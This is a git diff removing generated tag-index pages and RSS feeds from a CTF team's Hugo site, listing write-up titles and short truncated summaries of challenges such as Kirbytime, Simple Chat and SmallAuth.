- - - - - diff --git a/public/tags/144-points/index.html b/public/tags/144-points/index.html deleted file mode 100644 index 54dc900b..00000000 --- a/public/tags/144-points/index.html +++ /dev/null @@ -1,273 +0,0 @@ - - - - - - - - - - - 144 Points - ByteTheCookies - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- - -
- -
-
- -
-
- - - - - - - - - - - - -
- - -
- - - - - - -
- - - -
-
- -
-
-
-
-

144 Points

- - - -
- - -
-

2024

- -
- - - - - -
-
-
-
-
Copyright © 2025 by ByteTheCookies Team | v1.0.5
-
- - - diff --git a/public/tags/144-points/index.xml b/public/tags/144-points/index.xml deleted file mode 100644 index 882d769c..00000000 --- a/public/tags/144-points/index.xml +++ /dev/null @@ -1,25 +0,0 @@ - - - - 144 Points on ByteTheCookies - http://localhost:1313/tags/144-points/ - Recent content in 144 Points on ByteTheCookies - Hugo -- gohugo.io - en - Mon, 23 Dec 2024 16:51:39 +0100 - - DroidCryptor - http://localhost:1313/writeups/m0lecon2025beginner/droidcryptor/ - Mon, 23 Dec 2024 16:51:39 +0100 - - http://localhost:1313/writeups/m0lecon2025beginner/droidcryptor/ - DroidCryptor Description: One of my friends told me about this application that promised to keep your data safe. When I tried to encrypt the data I found out later that there is no way to decrypt it! Can you retrieve my message? -Introduction &hellip; -Source &hellip; -# filename: file.py &hellip; -Solution &hellip; -# filename: file.py $ flag: flag{redacted} Author: ... - - - - \ No newline at end of file diff --git a/public/tags/144-points/page/1/index.html b/public/tags/144-points/page/1/index.html deleted file mode 100644 index 8fad0087..00000000 --- a/public/tags/144-points/page/1/index.html +++ /dev/null @@ -1,10 +0,0 @@ - - - - http://localhost:1313/tags/144-points/ - - - - - - diff --git a/public/tags/165-solves/index.html b/public/tags/165-solves/index.html deleted file mode 100644 index a69b3486..00000000 --- a/public/tags/165-solves/index.html +++ /dev/null @@ -1,273 +0,0 @@ - - - - - - - - - - - 165 Solves - ByteTheCookies - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- - -
- -
-
- -
-
- - - - - - - - - - - - -
- - -
- - - - - - -
- - - -
-
- -
-
-
-
-

165 Solves

- - - -
- - -
-

2024

- -
    - -
  • - Hello - - - 08/18 - - -
  • - -
- - - - - -
-
-
-
-
Copyright © 2025 by ByteTheCookies Team | v1.0.5
-
- - - diff --git a/public/tags/165-solves/index.xml b/public/tags/165-solves/index.xml deleted file mode 100644 index b400369f..00000000 --- a/public/tags/165-solves/index.xml +++ /dev/null @@ -1,24 +0,0 @@ - - - - 165 Solves on ByteTheCookies - http://localhost:1313/tags/165-solves/ - Recent content in 165 Solves on ByteTheCookies - Hugo -- gohugo.io - en - Sun, 18 Aug 2024 12:58:59 +0200 - - Hello - http://localhost:1313/writeups/idekctf2024/hello/ - Sun, 18 Aug 2024 12:58:59 +0200 - - http://localhost:1313/writeups/idekctf2024/hello/ - Hello Description: Just to warm you up for the next Fight :&ldquo;D -Introduction Then we have an apparently empty page, but where we can via a ?name= parameter enter some text, the page will then respond with hello, {text entered} -The with an ngix server -Moreover, ctf in general gives us the possibility of using an admin bot where the flag is set in the cookies -Source # filename: index.py &lt;? - - - - \ No newline at end of file diff --git a/public/tags/165-solves/page/1/index.html b/public/tags/165-solves/page/1/index.html deleted file mode 100644 index 4e9be030..00000000 --- a/public/tags/165-solves/page/1/index.html +++ /dev/null @@ -1,10 +0,0 @@ - - - - http://localhost:1313/tags/165-solves/ - - - - - - diff --git a/public/tags/17-solves/index.html b/public/tags/17-solves/index.html deleted file mode 100644 index 60cf87f5..00000000 --- a/public/tags/17-solves/index.html +++ /dev/null @@ -1,298 +0,0 @@ - - - - - - - - - - - 17 Solves - ByteTheCookies - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- - -
- -
-
- -
-
- - - - - - - - - - - - -
- - -
- - - - - - -
- - - -
-
- -
-
-
-
-

17 Solves

- - - -
- - -
-

2025

- -
- -
-

0001

- -
- - - - - -
-
-
-
-
Copyright © 2025 by ByteTheCookies Team | v1.0.5
-
- - - diff --git a/public/tags/17-solves/index.xml b/public/tags/17-solves/index.xml deleted file mode 100644 index 7a61faf2..00000000 --- a/public/tags/17-solves/index.xml +++ /dev/null @@ -1,49 +0,0 @@ - - - - 17 Solves on ByteTheCookies - http://localhost:1313/tags/17-solves/ - Recent content in 17 Solves on ByteTheCookies - Hugo -- gohugo.io - en - Tue, 08 Jul 2025 20:33:23 +0200 - - aeronaut - http://localhost:1313/writeups/cornctf2025/aeronaut/ - Tue, 08 Jul 2025 20:33:23 +0200 - - http://localhost:1313/writeups/cornctf2025/aeronaut/ - Aeronaut Description: Aeronaut is a gambling game in which you bet on a multiplier. The goal is to get 100.000.000$. Good luck! -Introduction The last round of the CyberCup2025 competition was very good, with a challenging CTF. The challenge is a gambling game in which you bet on a multiplier. The goal is to earn 100,000,000 dollars. The game is implemented in Python using WebSocket and uses insecure randomness to generate multipliers. - - - - Key in the haystack - http://localhost:1313/writeups/k1ndasus2025/keyinthehaystack/ - Mon, 24 Mar 2025 16:25:00 +0100 - - http://localhost:1313/writeups/k1ndasus2025/keyinthehaystack/ - Confusion I&rsquo;ve encrypted my secret message with RSA. -Easy stuff, right? -Well, I&rsquo;m not giving you the key outright&hellip; -I&rsquo;ve hidden it in a haystack! -Sure, a key is not a needle, and this haystack is not that big. -It shouldn&rsquo;t take more than 10&rsquo; to find it, if you have an half-decent metal detector. -Good luck! -Introduction Confusion was a crypto CTF from K!nd4SUS CTF 2025. -from Crypto.Util import number from base64 import b64encode prime = lambda: number. - - - - Blank Login - http://localhost:1313/writeups/wwfctf2025/blank-login/ - Mon, 01 Jan 0001 00:00:00 +0000 - - http://localhost:1313/writeups/wwfctf2025/blank-login/ - Blank Login Description: Hm, I don&rsquo;t remember, probably something about three databases. -Introduction This is the third web application I&rsquo;ve exploited. It&rsquo;s a very cool challenge, not too complex, and very fun. There&rsquo;s a not-very-easy race condition to spot. In fact, I think that&rsquo;s the most difficult part. So, let&rsquo;s start. -We have a small Flask application with about 200 lines of code, so it&rsquo;s not too bad. The first page is a login page without a register page. - - - - \ No newline at end of file diff --git a/public/tags/17-solves/page/1/index.html b/public/tags/17-solves/page/1/index.html deleted file mode 100644 index c1f6614f..00000000 --- a/public/tags/17-solves/page/1/index.html +++ /dev/null @@ -1,10 +0,0 @@ - - - - http://localhost:1313/tags/17-solves/ - - - - - - diff --git a/public/tags/173-solves/index.html b/public/tags/173-solves/index.html deleted file mode 100644 index ba3a0b32..00000000 --- a/public/tags/173-solves/index.html +++ /dev/null @@ -1,273 +0,0 @@ - - - - - - - - - - - 173 Solves - ByteTheCookies - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- - -
- -
-
- -
-
- - - - - - - - - - - - -
- - -
- - - - - - -
- - - -
-
- -
-
-
-
-

173 Solves

- - - -
- - -
-

2024

- -
    - -
  • - ZipZone - - - 09/02 - - -
  • - -
- - - - - -
-
-
-
-
Copyright © 2025 by ByteTheCookies Team | v1.0.5
-
- - - diff --git a/public/tags/173-solves/index.xml b/public/tags/173-solves/index.xml deleted file mode 100644 index c31f9ed0..00000000 --- a/public/tags/173-solves/index.xml +++ /dev/null @@ -1,22 +0,0 @@ - - - - 173 Solves on ByteTheCookies - http://localhost:1313/tags/173-solves/ - Recent content in 173 Solves on ByteTheCookies - Hugo -- gohugo.io - en - Mon, 02 Sep 2024 10:59:17 +0200 - - ZipZone - http://localhost:1313/writeups/cyberspace2024/zipzone/ - Mon, 02 Sep 2024 10:59:17 +0200 - - http://localhost:1313/writeups/cyberspace2024/zipzone/ - Zipzone Description: I was tired of trying to find a good file server for zip files, so I made my own! It&rsquo;s still a work in progress, but I think it&rsquo;s pretty good so far. -Link: https://zipzone-web.challs.csc.tf/ -Introduction ZipZone is the only one web in the beginner&rsquo;s category and, as the title suggests, you have to upload zip files that will be unzipped later, so you have to download the extracted files afterwards. - - - - \ No newline at end of file diff --git a/public/tags/173-solves/page/1/index.html b/public/tags/173-solves/page/1/index.html deleted file mode 100644 index 92d29bf0..00000000 --- a/public/tags/173-solves/page/1/index.html +++ /dev/null @@ -1,10 +0,0 @@ - - - - http://localhost:1313/tags/173-solves/ - - - - - - diff --git a/public/tags/175-points/index.html b/public/tags/175-points/index.html deleted file mode 100644 index c74d4d73..00000000 --- a/public/tags/175-points/index.html +++ /dev/null @@ -1,273 +0,0 @@ - - - - - - - - - - - 175 Points - ByteTheCookies - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- - -
- -
-
- -
-
- - - - - - - - - - - - -
- - -
- - - - - - -
- - - -
-
- -
-
-
-
-

175 Points

- - - -
- - -
-

2024

- -
    - -
  • - Trendz - - - 09/02 - - -
  • - -
- - - - - -
-
-
-
-
Copyright © 2025 by ByteTheCookies Team | v1.0.5
-
- - - diff --git a/public/tags/175-points/index.xml b/public/tags/175-points/index.xml deleted file mode 100644 index c8e2c5ef..00000000 --- a/public/tags/175-points/index.xml +++ /dev/null @@ -1,20 +0,0 @@ - - - - 175 Points on ByteTheCookies - http://localhost:1313/tags/175-points/ - Recent content in 175 Points on ByteTheCookies - Hugo -- gohugo.io - en - Mon, 02 Sep 2024 10:59:04 +0200 - - Trendz - http://localhost:1313/writeups/cyberspace2024/trendz/ - Mon, 02 Sep 2024 10:59:04 +0200 - - http://localhost:1313/writeups/cyberspace2024/trendz/ - Trendz (part 1 & 2) Preamble This challenge is divided into four parts, three webs and a reverse. I&rsquo;m excited to share that I managed to solve the first two webs! I&rsquo;ll insert them all in a write-up, trying to explain them in the way the author thought. I admit I did not solve them in order, but I&rsquo;m eager to see how they fit together. The application was written in Go using templates and a JWT authentication, and it&rsquo;s write well! - - - - \ No newline at end of file diff --git a/public/tags/175-points/page/1/index.html b/public/tags/175-points/page/1/index.html deleted file mode 100644 index a1c8576d..00000000 --- a/public/tags/175-points/page/1/index.html +++ /dev/null @@ -1,10 +0,0 @@ - - - - http://localhost:1313/tags/175-points/ - - - - - - diff --git a/public/tags/176-solves/index.html b/public/tags/176-solves/index.html deleted file mode 100644 index 5a31c0e8..00000000 --- a/public/tags/176-solves/index.html +++ /dev/null @@ -1,273 +0,0 @@ - - - - - - - - - - - 176 Solves - ByteTheCookies - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- - -
- -
-
- -
-
- - - - - - - - - - - - -
- - -
- - - - - - -
- - - -
-
- -
-
-
-
-

176 Solves

- - - -
- - -
-

2024

- -
- - - - - -
-
-
-
-
Copyright © 2025 by ByteTheCookies Team | v1.0.5
-
- - - diff --git a/public/tags/176-solves/index.xml b/public/tags/176-solves/index.xml deleted file mode 100644 index 283e86bc..00000000 --- a/public/tags/176-solves/index.xml +++ /dev/null @@ -1,23 +0,0 @@ - - - - 176 Solves on ByteTheCookies - http://localhost:1313/tags/176-solves/ - Recent content in 176 Solves on ByteTheCookies - Hugo -- gohugo.io - en - Mon, 26 Aug 2024 17:04:29 +0200 - - Miku vs. Machine - http://localhost:1313/writeups/sekaictf2024/mikuvsmachine/ - Mon, 26 Aug 2024 17:04:29 +0200 - - http://localhost:1313/writeups/sekaictf2024/mikuvsmachine/ - Miku vs. Machine Description: Time limit is 2 seconds for this challenge. -Official resources of challenge -Introduction The goal is to distribute the hours of n singers in m shows. Each show has a number of hours equal to l (unknown) and can only change singers once. We also want that each singer will have the same time on stage. -Solution To solve this problem, I use a greedy strategy that iteratively divides the available singing time among the singers, ensuring that each singer fulfills their required hours. - - - - \ No newline at end of file diff --git a/public/tags/176-solves/page/1/index.html b/public/tags/176-solves/page/1/index.html deleted file mode 100644 index 7da909f2..00000000 --- a/public/tags/176-solves/page/1/index.html +++ /dev/null @@ -1,10 +0,0 @@ - - - - http://localhost:1313/tags/176-solves/ - - - - - - diff --git a/public/tags/183/index.html b/public/tags/183/index.html deleted file mode 100644 index 491b9a92..00000000 --- a/public/tags/183/index.html +++ /dev/null @@ -1,246 +0,0 @@ - - - - - - - - 183 - ByteTheCookies - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- - -
- -
-
- -
-
- - - - - - - - - - - - -
- - -
- - - - - - -
- - - -
-
- -
-
-
-
-

183

- - - -
- - -
-

2024

- -
- - - - - -
-
-
-
-
Copyright © 2024 by ByteTheCookies Team | v1.0
-
- - - diff --git a/public/tags/183/index.xml b/public/tags/183/index.xml deleted file mode 100644 index 0dff7e9e..00000000 --- a/public/tags/183/index.xml +++ /dev/null @@ -1,25 +0,0 @@ - - - - 183 on ByteTheCookies - http://localhost:1313/tags/183/ - Recent content in 183 on ByteTheCookies - Hugo -- gohugo.io - en - Mon, 26 Aug 2024 17:04:19 +0200 - - Crack Me - http://localhost:1313/writeups/sekaictf2024/crackme/ - Mon, 26 Aug 2024 17:04:19 +0200 - - http://localhost:1313/writeups/sekaictf2024/crackme/ - Crackme Description: &hellip; -Introduction &hellip; -Source &hellip; -# filename: file.py &hellip; -Solution &hellip; -# filename: file.py $ flag: flag{redacted} Author: ... - - - - \ No newline at end of file diff --git a/public/tags/183/page/1/index.html b/public/tags/183/page/1/index.html deleted file mode 100644 index 03734cde..00000000 --- a/public/tags/183/page/1/index.html +++ /dev/null @@ -1,10 +0,0 @@ - - - - http://localhost:1313/tags/183/ - - - - - - diff --git a/public/tags/184-solves/index.html b/public/tags/184-solves/index.html deleted file mode 100644 index 5c1af902..00000000 --- a/public/tags/184-solves/index.html +++ /dev/null @@ -1,273 +0,0 @@ - - - - - - - - - - - 184 Solves - ByteTheCookies - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- - -
- -
-
- -
-
- - - - - - - - - - - - -
- - -
- - - - - - -
- - - -
-
- -
-
-
-
-

184 Solves

- - - -
- - -
-

2024

- -
- - - - - -
-
-
-
-
Copyright © 2025 by ByteTheCookies Team | v1.0.5
-
- - - diff --git a/public/tags/184-solves/index.xml b/public/tags/184-solves/index.xml deleted file mode 100644 index b365b2b3..00000000 --- a/public/tags/184-solves/index.xml +++ /dev/null @@ -1,23 +0,0 @@ - - - - 184 Solves on ByteTheCookies - http://localhost:1313/tags/184-solves/ - Recent content in 184 Solves on ByteTheCookies - Hugo -- gohugo.io - en - Mon, 02 Sep 2024 10:59:31 +0200 - - Feature Unlocked - http://localhost:1313/writeups/cyberspace2024/feature_unlocked/ - Mon, 02 Sep 2024 10:59:31 +0200 - - http://localhost:1313/writeups/cyberspace2024/feature_unlocked/ - Feature unlocked Description: The world&rsquo;s coolest app has a brand new feature! Too bad it&rsquo;s not released until after the CTF.. -Link: https://feature-unlocked-web-challs.csc.tf/ -Introduction Feature unlocked is part of the first wave of the web and is one of the first challanges I solved. Made by cryptocat, who we salute, it is a fairly simple challange if you read the code correctly. -Source # filename: main.py import subprocess import base64 import json import time import requests import os from flask import Flask, request, render_template, make_response, redirect, url_for from Crypto. - - - - \ No newline at end of file diff --git a/public/tags/184-solves/page/1/index.html b/public/tags/184-solves/page/1/index.html deleted file mode 100644 index d615ea4a..00000000 --- a/public/tags/184-solves/page/1/index.html +++ /dev/null @@ -1,10 +0,0 @@ - - - - http://localhost:1313/tags/184-solves/ - - - - - - diff --git a/public/tags/187/index.html b/public/tags/187/index.html deleted file mode 100644 index a605270d..00000000 --- a/public/tags/187/index.html +++ /dev/null @@ -1,273 +0,0 @@ - - - - - - - - - - - 187 - ByteTheCookies - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- - -
- -
-
- -
-
- - - - - - - - - - - - -
- - -
- - - - - - -
- - - -
-
- -
-
-
-
-

187

- - - -
- - -
-

2024

- -
- - - - - -
-
-
-
-
Copyright © 2025 by ByteTheCookies Team | v1.0.5
-
- - - diff --git a/public/tags/187/index.xml b/public/tags/187/index.xml deleted file mode 100644 index 2f9ef8ef..00000000 --- a/public/tags/187/index.xml +++ /dev/null @@ -1,21 +0,0 @@ - - - - 187 on ByteTheCookies - http://localhost:1313/tags/187/ - Recent content in 187 on ByteTheCookies - Hugo -- gohugo.io - en - Mon, 26 Aug 2024 17:04:19 +0200 - - Crack Me - http://localhost:1313/writeups/sekaictf2024/crackme/ - Mon, 26 Aug 2024 17:04:19 +0200 - - http://localhost:1313/writeups/sekaictf2024/crackme/ - Crack Me Description: Developed for SekaiCTF 2022 but never got a chance to release it. Can you log in and claim the flag? -Introduction First rev ctf of Sekai 2024 with an apk attached, so we have a mobile challenge on our hands. The first thing to do (which I strongly advise against in a real environment) is to download and install the app to get a quick overview of what it does. - - - - \ No newline at end of file diff --git a/public/tags/187/page/1/index.html b/public/tags/187/page/1/index.html deleted file mode 100644 index 6b97519b..00000000 --- a/public/tags/187/page/1/index.html +++ /dev/null @@ -1,10 +0,0 @@ - - - - http://localhost:1313/tags/187/ - - - - - - diff --git a/public/tags/218-solves/index.html b/public/tags/218-solves/index.html deleted file mode 100644 index 759e534a..00000000 --- a/public/tags/218-solves/index.html +++ /dev/null @@ -1,273 +0,0 @@ - - - - - - - - - - - 218 Solves - ByteTheCookies - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- - -
- -
-
- -
-
- - - - - - - - - - - - -
- - -
- - - - - - -
- - - -
-
- -
-
-
-
-

218 Solves

- - - -
- - -
-

2024

- -
- - - - - -
-
-
-
-
Copyright © 2025 by ByteTheCookies Team | v1.0.5
-
- - - diff --git a/public/tags/218-solves/index.xml b/public/tags/218-solves/index.xml deleted file mode 100644 index 4b2712bc..00000000 --- a/public/tags/218-solves/index.xml +++ /dev/null @@ -1,22 +0,0 @@ - - - - 218 Solves on ByteTheCookies - http://localhost:1313/tags/218-solves/ - Recent content in 218 Solves on ByteTheCookies - Hugo -- gohugo.io - en - Tue, 13 Aug 2024 13:01:07 +0200 - - Kirbytime - http://localhost:1313/writeups/litctf2024/kirbytime/ - Tue, 13 Aug 2024 13:01:07 +0200 - - http://localhost:1313/writeups/litctf2024/kirbytime/ - Kirbytime Description: Welcome to Kirby&rsquo;s Website. -Introduction We find ourselves in front of a very pink Kirby-themed page, where we are asked to enter a password of 7 characters. -Source # filename: main.py import sqlite3 from flask import Flask, request, redirect, render_template import time app = Flask(__name__) @app.route('/', methods=['GET', 'POST']) def login(): message = None if request.method == 'POST': password = request.form['password'] real = 'REDACTED' if len(password) != 7: return render_template('login. - - - - \ No newline at end of file diff --git a/public/tags/218-solves/page/1/index.html b/public/tags/218-solves/page/1/index.html deleted file mode 100644 index 42a9e50e..00000000 --- a/public/tags/218-solves/page/1/index.html +++ /dev/null @@ -1,10 +0,0 @@ - - - - http://localhost:1313/tags/218-solves/ - - - - - - diff --git a/public/tags/22-solves/index.html b/public/tags/22-solves/index.html deleted file mode 100644 index 45eb1a55..00000000 --- a/public/tags/22-solves/index.html +++ /dev/null @@ -1,273 +0,0 @@ - - - - - - - - - - - 22 Solves - ByteTheCookies - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- - -
- -
-
- -
-
- - - - - - - - - - - - -
- - -
- - - - - - -
- - - -
-
- -
-
-
-
-

22 Solves

- - - -
- - -
-

2025

- -
- - - - - -
-
-
-
-
Copyright © 2025 by ByteTheCookies Team | v1.0.5
-
- - - diff --git a/public/tags/22-solves/index.xml b/public/tags/22-solves/index.xml deleted file mode 100644 index 669daec1..00000000 --- a/public/tags/22-solves/index.xml +++ /dev/null @@ -1,23 +0,0 @@ - - - - 22 Solves on ByteTheCookies - http://localhost:1313/tags/22-solves/ - Recent content in 22 Solves on ByteTheCookies - Hugo -- gohugo.io - en - Tue, 08 Jul 2025 20:33:28 +0200 - - Simple Chat - http://localhost:1313/writeups/cornctf2025/simple-chat/ - Tue, 08 Jul 2025 20:33:28 +0200 - - http://localhost:1313/writeups/cornctf2025/simple-chat/ - Simple-Chat Description: Simple web application to chat with your friends! Sometimes it does funny things and it&rsquo;s ok like that -Introduction Okay, this is a really nice challenge. This is a pretty second CTF web challenge. It&rsquo;s a simple XSS with a twist. -Source Let&rsquo;s look at two parts of the FUNDAMENTAL code -// filename: app.js app.post('/api/v1/insertChat', async (req, res) =&gt; { const sender = req.body.sender; const receiver = req.body.receiver; var message = req. - - - - \ No newline at end of file diff --git a/public/tags/22-solves/page/1/index.html b/public/tags/22-solves/page/1/index.html deleted file mode 100644 index 55619516..00000000 --- a/public/tags/22-solves/page/1/index.html +++ /dev/null @@ -1,10 +0,0 @@ - - - - http://localhost:1313/tags/22-solves/ - - - - - - diff --git a/public/tags/232-points/index.html b/public/tags/232-points/index.html deleted file mode 100644 index a71f4cc3..00000000 --- a/public/tags/232-points/index.html +++ /dev/null @@ -1,273 +0,0 @@ - - - - - - - - - - - 232 Points - ByteTheCookies - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- - -
- -
-
- -
-
- - - - - - - - - - - - -
- - -
- - - - - - -
- - - -
-
- -
-
-
-
-

232 Points

- - - -
- - -
-

2024

- -
- - - - - -
-
-
-
-
Copyright © 2025 by ByteTheCookies Team | v1.0.5
-
- - - diff --git a/public/tags/232-points/index.xml b/public/tags/232-points/index.xml deleted file mode 100644 index 9091e1a7..00000000 --- a/public/tags/232-points/index.xml +++ /dev/null @@ -1,22 +0,0 @@ - - - - 232 Points on ByteTheCookies - http://localhost:1313/tags/232-points/ - Recent content in 232 Points on ByteTheCookies - Hugo -- gohugo.io - en - Mon, 23 Dec 2024 16:48:55 +0100 - - ImgPlace - http://localhost:1313/writeups/m0lecon2025beginner/imgplace/ - Mon, 23 Dec 2024 16:48:55 +0100 - - http://localhost:1313/writeups/m0lecon2025beginner/imgplace/ - ImgPlace Description: Are you a photographer but have no reputation? Join ImgPlace! Share your photos&hellip; and become popular! -Introduction We have a very simple application where we are allowed to register and log in and then we can upload images via url and associated description -Source The source is only parsable by devtools from the browser, and we can see that in the pic.js file we have a function that sanitizes the image description - - - - \ No newline at end of file diff --git a/public/tags/232-points/page/1/index.html b/public/tags/232-points/page/1/index.html deleted file mode 100644 index b42d7fae..00000000 --- a/public/tags/232-points/page/1/index.html +++ /dev/null @@ -1,10 +0,0 @@ - - - - http://localhost:1313/tags/232-points/ - - - - - - diff --git a/public/tags/25-solves/index.html b/public/tags/25-solves/index.html deleted file mode 100644 index e80745be..00000000 --- a/public/tags/25-solves/index.html +++ /dev/null @@ -1,273 +0,0 @@ - - - - - - - - - - - 25 Solves - ByteTheCookies - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- - -
- -
-
- -
-
- - - - - - - - - - - - -
- - -
- - - - - - -
- - - -
-
- -
-
-
-
-

25 Solves

- - - -
- - -
-

2024

- -
- - - - - -
-
-
-
-
Copyright © 2025 by ByteTheCookies Team | v1.0.5
-
- - - diff --git a/public/tags/25-solves/index.xml b/public/tags/25-solves/index.xml deleted file mode 100644 index 15e57674..00000000 --- a/public/tags/25-solves/index.xml +++ /dev/null @@ -1,25 +0,0 @@ - - - - 25 Solves on ByteTheCookies - http://localhost:1313/tags/25-solves/ - Recent content in 25 Solves on ByteTheCookies - Hugo -- gohugo.io - en - Mon, 23 Dec 2024 16:51:39 +0100 - - DroidCryptor - http://localhost:1313/writeups/m0lecon2025beginner/droidcryptor/ - Mon, 23 Dec 2024 16:51:39 +0100 - - http://localhost:1313/writeups/m0lecon2025beginner/droidcryptor/ - DroidCryptor Description: One of my friends told me about this application that promised to keep your data safe. When I tried to encrypt the data I found out later that there is no way to decrypt it! Can you retrieve my message? -Introduction &hellip; -Source &hellip; -# filename: file.py &hellip; -Solution &hellip; -# filename: file.py $ flag: flag{redacted} Author: ... - - - - \ No newline at end of file diff --git a/public/tags/25-solves/page/1/index.html b/public/tags/25-solves/page/1/index.html deleted file mode 100644 index 535d8583..00000000 --- a/public/tags/25-solves/page/1/index.html +++ /dev/null @@ -1,10 +0,0 @@ - - - - http://localhost:1313/tags/25-solves/ - - - - - - diff --git a/public/tags/280-points/index.html b/public/tags/280-points/index.html deleted file mode 100644 index dbc0f35e..00000000 --- a/public/tags/280-points/index.html +++ /dev/null @@ -1,282 +0,0 @@ - - - - - - - - - - - 280 Points - ByteTheCookies - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- - -
- -
-
- -
-
- - - - - - - - - - - - -
- - -
- - - - - - -
- - - -
-
- -
-
-
-
-

280 Points

- - - -
- - -
-

2025

- -
- - - - - -
-
-
-
-
Copyright © 2025 by ByteTheCookies Team | v1.0.5
-
- - - diff --git a/public/tags/280-points/index.xml b/public/tags/280-points/index.xml deleted file mode 100644 index 59c9e9fd..00000000 --- a/public/tags/280-points/index.xml +++ /dev/null @@ -1,34 +0,0 @@ - - - - 280 Points on ByteTheCookies - http://localhost:1313/tags/280-points/ - Recent content in 280 Points on ByteTheCookies - Hugo -- gohugo.io - en - Tue, 08 Jul 2025 20:33:28 +0200 - - Simple Chat - http://localhost:1313/writeups/cornctf2025/simple-chat/ - Tue, 08 Jul 2025 20:33:28 +0200 - - http://localhost:1313/writeups/cornctf2025/simple-chat/ - Simple-Chat Description: Simple web application to chat with your friends! Sometimes it does funny things and it&rsquo;s ok like that -Introduction Okay, this is a really nice challenge. This is a pretty second CTF web challenge. It&rsquo;s a simple XSS with a twist. -Source Let&rsquo;s look at two parts of the FUNDAMENTAL code -// filename: app.js app.post('/api/v1/insertChat', async (req, res) =&gt; { const sender = req.body.sender; const receiver = req.body.receiver; var message = req. - - - - Telemetry - http://localhost:1313/writeups/ulisse2025/telemetry/ - Tue, 08 Apr 2025 18:05:04 +0200 - - http://localhost:1313/writeups/ulisse2025/telemetry/ - Telemetry Description: Elia has just developed a brand-new website to analyze logs at runtime 🧻. Confident in his security skills, he bet his entire house that you won&rsquo;t find the hidden flag&hellip; Will you prove him wrong? 🏠🔍 -Introduction Fourth round of the Cybercup 2025 ulisseCTF I want to show the writeup of the first web, a really interesting challenge. -Source The application is a simple Flask app with 0 css (we almost like it). - - - - \ No newline at end of file diff --git a/public/tags/280-points/page/1/index.html b/public/tags/280-points/page/1/index.html deleted file mode 100644 index a5039b0a..00000000 --- a/public/tags/280-points/page/1/index.html +++ /dev/null @@ -1,10 +0,0 @@ - - - - http://localhost:1313/tags/280-points/ - - - - - - diff --git a/public/tags/286-points/index.html b/public/tags/286-points/index.html deleted file mode 100644 index d4425782..00000000 --- a/public/tags/286-points/index.html +++ /dev/null @@ -1,273 +0,0 @@ - - - - - - - - - - - 286 Points - ByteTheCookies - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- - -
- -
-
- -
-
- - - - - - - - - - - - -
- - -
- - - - - - -
- - - -
-
- -
-
-
-
-

286 Points

- - - -
- - -
-

2024

- -
- - - - - -
-
-
-
-
Copyright © 2025 by ByteTheCookies Team | v1.0.5
-
- - - diff --git a/public/tags/286-points/index.xml b/public/tags/286-points/index.xml deleted file mode 100644 index 35bf666c..00000000 --- a/public/tags/286-points/index.xml +++ /dev/null @@ -1,22 +0,0 @@ - - - - 286 Points on ByteTheCookies - http://localhost:1313/tags/286-points/ - Recent content in 286 Points on ByteTheCookies - Hugo -- gohugo.io - en - Sat, 21 Dec 2024 18:23:00 +0200 - - SmallAuth - http://localhost:1313/writeups/m0lecon2025beginner/smallauth/ - Sat, 21 Dec 2024 18:23:00 +0200 - - http://localhost:1313/writeups/m0lecon2025beginner/smallauth/ - SmallAuth Description: I am trying to authenticate but I totally forgot the password, I am screwed!! -Introduction SmallAuth was a crypto CTF from ## m0leCon 2025 Beginner CTF organized by pwnthem0le. -from secret import flag, password import signal from Crypto.Util.number import ( bytes_to_long, long_to_bytes, getRandomRange, ) from hashlib import sha256 import os p = 5270716116965698502689689671130781219142402682027195438035167686031865721400130496197382604002325978977917823871038888373085118354500422489134429970793096193438377786459821943518301475690713718745453633483219759953295608491564410082912515903134742148257215875373630412689071144760281744294536079770426517968527527493218935968663682019557492826204481612047410320146277333682801905360248457200458458982939490478875010628228329816347137904546340745621643293109290190631986349878770000332829974864263568375989597228583046155053640478805958492876860588535257030218304135983005840752161675722091031537527270835889607480661582626985375282908187505873350960702103509549729997875801557977556414403796543012974965425751833424162010931383924392626875437842811285456196644742198291857617009931030974156758885265756942730260677252867252555430773014258836269996233420470473918801854039549216620237517053340745984578639983387808534554731327 assert len(password) &gt; 64 def timeout_handler(_1, _2): raise TimeoutError class AuthProtocol: def __init__(self, password: bytes): super(). - - - - \ No newline at end of file diff --git a/public/tags/286-points/page/1/index.html b/public/tags/286-points/page/1/index.html deleted file mode 100644 index a3a15851..00000000 --- a/public/tags/286-points/page/1/index.html +++ /dev/null @@ -1,10 +0,0 @@ - - - - http://localhost:1313/tags/286-points/ - - - - - - diff --git a/public/tags/29-solves/index.html b/public/tags/29-solves/index.html deleted file mode 100644 index 6b34b21b..00000000 --- a/public/tags/29-solves/index.html +++ /dev/null @@ -1,273 +0,0 @@ - - - - - - - - - - - 29 Solves - ByteTheCookies - - - - - - - 